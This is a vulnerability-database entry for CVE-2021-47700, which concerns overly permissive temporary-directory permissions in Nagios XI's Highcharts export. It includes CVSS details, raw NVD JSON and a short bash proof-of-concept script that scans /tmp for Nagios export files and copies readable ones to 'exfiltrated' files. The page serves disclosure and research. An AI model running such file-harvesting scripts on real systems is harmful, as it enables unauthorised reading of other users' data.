Security Vulnerability Report
中文
CVE-2021-47700 CVSS 7.8 HIGH

CVE-2021-47700

Published: 2025-10-30 22:15:41
Last Modified: 2025-11-05 18:22:22

Description

Nagios XI versions prior to 5.8.7 used a temporary directory for Highcharts exports with overly permissive ownership/permissions under the Apache user. Local or co-hosted processes could read/overwrite export artifacts or manipulate paths, risking disclosure or tampering and potential code execution depending on deployment.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:* - VULNERABLE
Nagios XI < 5.8.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2021-47700 PoC - Nagios XI Highcharts Temporary Directory Exploitation # This script demonstrates the permission vulnerability in Nagios XI's Highcharts export feature TARGET_HOST="${TARGET_HOST:-localhost}" NAGIOS_XI_PATH="/nagiosxi" TEMP_DIR="/tmp/nagiosxi" # Step 1: Find the Highcharts export temporary directory echo "[*] Scanning for Nagios XI Highcharts temporary files..." find /tmp -name "highcharts_export_*" -type f 2>/dev/null | head -20 # Step 2: Check permissions on identified directories echo "[*] Checking directory permissions..." if [ -d "$TEMP_DIR" ]; then ls -la "$TEMP_DIR" 2>/dev/null || echo "[-] Directory not found" else # Common paths for Nagios XI temp files for dir in /tmp/nagiosxi* /var/tmp/nagiosxi* /tmp/highcharts*; do if [ -d "$dir" ]; then echo "[+] Found directory: $dir" ls -la "$dir" # Check if world-readable/writable perms=$(stat -c "%a" "$dir" 2>/dev/null) if [[ "$perms" == *"7"* ]]; then echo "[!] VULNERABLE: Directory has overly permissive permissions ($perms)" fi fi done fi # Step 3: Attempt to read/export files (if authorized) echo "[*] Testing file access capabilities..." for file in $(find /tmp -name "*.png" -o -name "*.svg" 2>/dev/null | grep -i nagios); do echo "[+] Found export file: $file" stat "$file" # Check if we can read the file if [ -r "$file" ]; then echo "[!] VULNERABLE: Can read $file" # Copy file for analysis cp "$file" "/tmp/exfiltrated_$(basename $file)" fi done echo "[*] PoC execution completed." echo "[!] Note: This is for authorized security testing only."

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2021-47700", "sourceIdentifier": "[email protected]", "published": "2025-10-30T22:15:41.497", "lastModified": "2025-11-05T18:22:22.017", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nagios XI versions prior to 5.8.7 used a temporary directory for Highcharts exports with overly permissive ownership/permissions under the Apache user. Local or co-hosted processes could read/overwrite export artifacts or manipulate paths, risking disclosure or tampering and potential code execution depending on deployment."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-250"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.8.7", "matchCriteriaId": "4353C5B4-E28A-43D8-840D-4B181ED0127B"}]}]}], "references": [{"url": "https://www.nagios.com/changelog/nagios-xi/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.vulncheck.com/advisories/nagios-xi-insecure-permissions-on-highcharts-temporary-directory", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}